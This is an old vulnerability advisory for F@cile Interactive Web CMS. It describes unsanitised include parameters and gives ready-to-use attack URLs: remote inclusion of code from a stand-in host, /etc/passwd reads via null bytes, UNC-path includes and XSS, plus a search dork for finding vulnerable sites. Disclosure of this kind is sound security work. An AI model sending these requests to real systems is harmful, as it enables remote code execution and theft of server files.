Advisory: F@cile Interactive Web <= 0.8x Multiple Remote Vulnerabilities.

–Security Report–
Advisory: F@cile Interactive Web <= 0.8x Multiple Remote Vulnerabilities.

Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI

Date: 27/05/06 05:57 PM

Contacts:{
ICQ: 10072
MSN/Email: [email protected]
Web: http://www.nukedx.com
}

Vendor: Facile (http://www.facile-web.it/&#41;
Version: 0.8.5 and prior versions must be affected.
About: Via this methods remote attacker can include arbitrary files to
Facile CMS.Parameter l
in p-popupgallery.php did not sanitized before using it.You can find
vulnerable code in p-popupgallery.php at line 28
-Source in p-popupgallery.php-
28: include ("$l/p-lang-base.php");
-End of source-
This can be caused to remote attacker include internal and external
files to p-popupgallery.php.
If magic_quotes_gpc off remote attacker can include internal files.
If allow_url_fopen on remote attacker can include external files.
This work regardless of any register_globals value.That vulnerability
is in 0.8.41 - 0.8.5
All other vulnerabilities works on version 0.8x…
There is another file inclusion vulnerabilities in p-editpage.php and
p-editbox.php.The parameter pathfile did not
sanitized properly.Remote attacker can include arbitrary local files
to these scripts.In php5 remote attacker also
include external resources too.This works with register_globals on.
Vulnerable codes in both files can be found at lines 20-21.
-Sources in both-
20: if(isset($pathfile) && is_file($pathfile)){
include("$pathfile");
-End of source-
There is another file inclusion vulnerabilities in themes.All themes
are vulnerable to include arbitrary local files.
This also be caused to XSS.Parameters mytheme and myskin did not
sanitized properly before using them.LFI works with
magic_quotes_gpc off.
Vulnerable files are:
p-themes/lowgraphic/index.inc.php
p-themes/classic/index.inc.php
p-themes/puzzle/index.inc.php
p-themes/simple/index.inc.php
p-themes/ciao/index.inc.php
Remote attacker also disclose local resources.The parameter lang in
index.php did not sanitized properly before using it.
This works with magic_quotes_gpc off.
Level: Highly Critical

How&Example:
GET -> http://[victim]/[FacilePath]/p-popupgallery.php?l=[FILE]
EXAMPLE ->
http://[victim]/[FacilePath]/p-popupgallery.php?l=http://yourhost.com/cmd.txt?
EXAMPLE -> http://[victim]/[FacilePath]/p-popupgallery.php?l=/etc/passwd%00
GET -> http://[victim]/[FacilePath]/p-editbox.php?pathfile=[FILE]
EXAMPLE -> http://[victim]/[FacilePath]/p-editbox.php?pathfile=/etc/passwd
EXAMPLE ->
http://[victim]/[FacilePath]/p-editbox.php?pathfile=\\192.168.1.1\file.php <-
php5
GET -> http://[victim]/[FacilePath]/p-editpage.php?pathfile=[FILE]
EXAMPLE -> http://[victim]/[FacilePath]/p-editpage.php?pathfile=/etc/passwd
EXAMPLE ->
http://[victim]/[FacilePath]/p-editpage.php?pathfile=\\192.168.1.1\file.php <-
php5
GET ->
http://[victim]/[FacilePath]/p-themes/THEME/index.inc.php?mytheme=[FILE]
EXAMPLE ->
http://[victim]/[FacilePath]/p-themes/THEME/index.inc.php?mytheme=/etc/passwd%00
GET ->
http://[victim]/[FacilePath]/p-themes/THEME/index.inc.php?mytheme=XSS&myskin=XSS
GET -> http://[victim]/[FacilePath]/index.php?mn=0&pg=0&lang=[FILE]
EXAMPLE ->
http://[victim]/[FacilePath]/index.php?mn=0&pg=0&lang=/etc/passwd%00

Timeline:

• 27/05/2006: Vulnerability found.
• 27/05/2006: Contacted with vendor and waiting reply.

Exploit: http://www.nukedx.com/?getxpl=35

Original advisory can be found at: http://www.nukedx.com/?viewdoc=35

Dorks: "Powered by F@cile Interactive Web"